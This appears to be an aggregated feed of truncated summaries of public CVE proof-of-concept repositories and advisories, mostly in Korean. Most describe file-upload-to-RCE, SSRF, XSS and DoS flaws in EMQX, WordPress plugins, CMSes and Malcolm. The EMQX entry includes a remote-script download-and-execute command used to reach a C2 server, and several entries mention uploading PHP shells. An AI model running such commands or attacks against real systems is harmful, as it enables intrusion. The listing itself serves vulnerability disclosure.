CVE-2025-52136

CVE-2025-52136 https://github.com/ricardojoserf/emqx-RCE 원래 이용 방식은 emqx 플러그인을 업로드하고, 플러그인 템플릿 코드에 Erlang os 모듈을 추가하여 시스템 명령을 호출해 RCE를 실행하는 방식입니다. 출망 환경에서는 기본적으로 curl이 존재하므로, curl http://xx.xx.xx.xx/1.sh | sh를 통해 직접 C2에 연결할 수 있습니다. 타깃이 출망이 아닌 경우, EMQX 자체가 MQTT 메시지 서버이므로 플러그인 업로드와 함께 EMQX 서버에서 업로드한...

CVE-2026-7537

MDJM Event Management = 1.7.8.3 - 인증된 관리자+ 'mdjmemailuploadfile' 매개변수를 통한 임의 파일 업로드 WordPress MDJM Event Management 플러그인버전 1.7.8.3 및 이전에는 인증된 관리자가 악성 PHP 파일을 서버에 업로드하여 잠재적으로 원격 코드 실행으로 이어질 수 있는 임의 파일 업로드 취약점이 있습니다. TL;DR 익스플로잇 인증된 공격자가 shell.php를 업로드하고 원격 코드를 실행하는 방법을 보여주는 POC CVE-2026-7537.py가...

CSRF-to-RCE-on-Backdrop-CMS

Backdrop CMS 1.20에서 CSRF to RCE 이 PoC는 Backdrop CMS 버전 1.20에서 CSRF를 악용하여 RCE로 확장하는 방법을 설명합니다. CVE ID CVE-2021-45268 설명 Backdrop CMS 버전 1.20은 사이트에 업로드된 ZIP 파일을 통해 플러그인을 추가할 수 있습니다. 또한 anti-CSRF 보호 기능이 없기 때문에, 공격자는 명령 실행을 허용하는 파일이 포함된 플러그인을 만들어 호스팅하고, 위조된 페이지를 이용해 사이트 관리자가 악성 링크를 클릭하기만 해도 이 플러그인을...

exploits

exploits 공개된 PoC는 exploitdb.com에서 확인할 수 있습니다. Patient Appointment Scheduler System v1.0: Inbit Messenger v4.6.0:...

tpadmin-CVE-2026-2113-poc

tpadmin-CVE-2026-2113-poc 임의 파일 업로드Arbitrary File Upload를 통해 웹 서버 권한을 가진 원격 코드 실행RCE을 악용하는 개념 증명PoC입니다. 취약점 설명 H-ui.admin 시스템의 WebUploader 미리보기 컴포넌트에 치명적인 원격 코드 실행 취약점이 존재합니다. /public/static/admin/lib/webuploader/0.1.5/server/preview.php 파일은 적절한 인증 및 파일 검증이 없어, 인증되지 않은 공격자가 임의의 PHP 파일을 웹 서버에 직접...

Unrestricted-File-Upload-on-SiteMagic-CMS-4.4.2

SiteMagic CMS 4.4.2 무제한 파일 업로드 이 저장소는 SiteMagic CMS 4.4.2의 무제한 파일 업로드 취약점을 악용하는 방법을 설명합니다. SiteMagic CMS 4.4.2 정보 Website: https://sitemagic.org/ Download: https://sitemagic.org/Download.html PoC - SiteMagic CMS 4.4.2 무제한 파일 업로드 취약점 악용 FrmUpload.class.php는 웹사이트에 업로드할 수 있는 파일 유형을 처리하지 않으므로 ".php"와...

CVE-2026-107335 Improper Handling of Highly Compressed Data in Malcolm

Malcolm's upload-processing pipeline scripts/safe-extract.py enforces entry-count, nesting-depth, and total-uncompressed-byte limits when extracting container archives zip/tar/rar/7z via libarchive, but those limits are not applied when the uploaded file is a single-stream compressed format .gz,...

CVE-2026-3844

CVE-2026-3844 — Breeze Cache = 2.4.4 인증되지 않은 임의 파일 업로드를 통한 RCE 개요 필드| 값 ---|--- CVE| CVE-2026-3844 CVSS| 9.8 Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE| CWE-434 — 위험한 유형의 파일 무제한 업로드 플러그인| Breeze Cache by Cloudways 영향 범위| 2.4.4 이하 모든 버전 수정 버전| 2.4.5 changeset 3511463 설치 수| 400,000개...

smart-sketcher-upload

smART Sketcher 2.0 - 블루투스 인증 우회 CVE-2026-0842 | BLE 인터페이스의 인증 누락 개요 smART Sketcher 2.0은 아이들이 이미지를 따라 그릴 수 있게 해주는 블루투스 지원 장난감 프로젝터입니다. 블루투스 연결에 인증이 없어서, 반경 내에 있는 누구나 페어링이나 알림 없이 연결하여 이미지를 기기에 전송할 수 있습니다. 데모 문제점 기기가 블루투스로 "smART Sketcher 2.0"으로 표시됨 연결에 페어링이 필요 없음 명령이나 이미지를 보내는 데 인증이 없음 누군가 연결해도 알림이...

CVE-2026-36340

CVE-2026-36340 Krayin CRM v2.1.5의 원격 코드 실행RCE 취약점 Krayin CRM v2.1.5의 원격 코드 실행RCE 취약점 CVE: CVE-2026-36340 심각도: 치명적Critical 영향을 받는 제품: Krayin CRM v2.1.5 취약점 유형: 원격 코드 실행RCE 인증 필요: 예 요약 Krayin CRM v2.1.5 에 치명적인 원격 코드 실행RCE 취약점이 존재합니다. 이 취약점은 인증된 사용자가 이메일 작성 기능을 통해 임의의 PHP 파일을 업로드할 수 있게 합니다. 업로드된 첨부...

WordPress Creator LMS plugin <= 1.2.21 - Arbitrary File Upload vulnerability

Arbitrary File Upload vulnerability discovered by Peter Tang in WordPress Plugin Creator LMS versions = 1.2.21...

CVE-2026-107362 Server-Side Request Forgery in Malcolm

Malcolm file-upload component ships the upstream FilePond PHP server pqina/filepond-server-php largely unmodified: Dockerfile copies all upstream .php files and Malcolm only overwrites config.php and submit.php. Upstream index.php exposes a fetch API route that instructs the server to download an...

CVE-2026-107362

The Malcolm file-upload component is vulnerable to a Server-Side Request Forgery (SSRF) due to its inclusion of the upstream FilePond PHP server (pqina/filepond-server-php) with largely unmodified files. Specifically, the upstream index.php contains a fetch API route that uses curl (with FOLLOWLO...

CVE-2026-107362 Server-Side Request Forgery in Malcolm

Malcolm file-upload component ships the upstream FilePond PHP server pqina/filepond-server-php largely unmodified: Dockerfile copies all upstream .php files and Malcolm only overwrites config.php and submit.php. Upstream index.php exposes a fetch API route that instructs the server to download an...

CVE-2024-57487-and-CVE-2024-57488

온라인 자동차 렌탈 시스템 취약점 이 저장소는 Code-Projects 온라인 자동차 렌탈 시스템 프로젝트 버전 1.0에서 식별된 취약점에 대한 세부 정보를 포함합니다. 해당 취약점에는 CVE가 할당되었으며, 문제를 이해하고 완화하는 데 도움이 되는 포괄적인 분석 자료가 포함되어 있습니다. 취약점 1. 파일 업로드를 통한 원격 코드 실행 인증 필요 CVE-ID: CVE-2024-57487 설명: 이 취약점은 인증된 공격자가 악성 PHP 파일을 업로드하여 서버에서 원격 명령 실행을 가능하게 합니다. 전체 분석 자료 보기 2...

CVE-2023-46474

PMB =7.5.3 - 원격 코드 실행 무제한 파일 업로드 취약점 CVE-2023-46474 CVSS v3.1 Vector| CVSS v3.1 Score ---|--- AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H| 9.1 Devensys Cybersecurity의 Marcus Reynaud가 침투 테스트 과정에서 발견함 설명 pmb/admin/convert/startimport.php 스크립트는 Unrestricted File Upload 유형의 취약점에 노출되어 있으며, 이를 통해 서버에서 임의 코드 실행...

-CVE-2026-1657

CVE-2026-1657 CVE-2026-1657 익스플로잇 — 'epuploadfilemedia' AJAX 엔드포인트를 통한 인증 없는 이미지 업로드 사용법 python3 ./CVE-2026-1657.py https://site.com/ labrat.jpeg...

CVE-2025-60880

CVE-2025-60880: Bagisto 管理パネルにおける格納型クロスサイトスクリプティング（XSS） Bagisto 2.3.6 の管理パネルの製品作成パスに、認証済みの格納型 XSS 脆弱性が存在します。攻撃者は、悪意のある JavaScript コードを含む細工された SVG ファイルをアップロードできます。この脆弱性は、認証済みの管理者ユーザーによって悪用され、ブラウザ上で任意の JavaScript を実行させ、セッションハイジャック、データ窃取、または不正な操作につながる可能性があります。 脆弱性の概要 CVE ID : CVE-2025-60880 タイプ :...

multiparty-CVE-2026-8161

CVE-2026-8161 CVE-2026-8161Multiparty의 개념 증명 설명 [email protected] 및 이전 버전은 포착되지 않은 예외로 인한 서비스 거부denial of service에 취약합니다. 파서는 업로드된 필드와 파일을 일반 JavaScript 객체에 저장하며, 파서가 소유한 키와 상속된 객체 속성을 안전하게 구분하지 않습니다. 조작된 multipart 필드 이름은 파서가 예상치 못한 프로토타입 체인 값을 읽고 업로드를 처리하는 동안 충돌하도록 만들 수 있습니다. 취약한 버전의...

CVE-2024-11613-wp-file-upload

CVE-2024-11613-wp-file-upload Chirag Artanihttps://3rag.com가 작성한 CVE-2024-11613 WordPress File Upload용 익스플로잇 정보는 다음과 같습니다 - WordPress용 WordPress File Upload 플러그인은 4.24.15를 포함한 모든 버전에서 'wfufiledownloader.php' 파일을 통해 원격 코드 실행, 임의 파일 읽기 및 임의 파일 삭제에 취약합니다. 이는 'source' 매개변수의 적절한 삭제sanitization 부족과 사용자...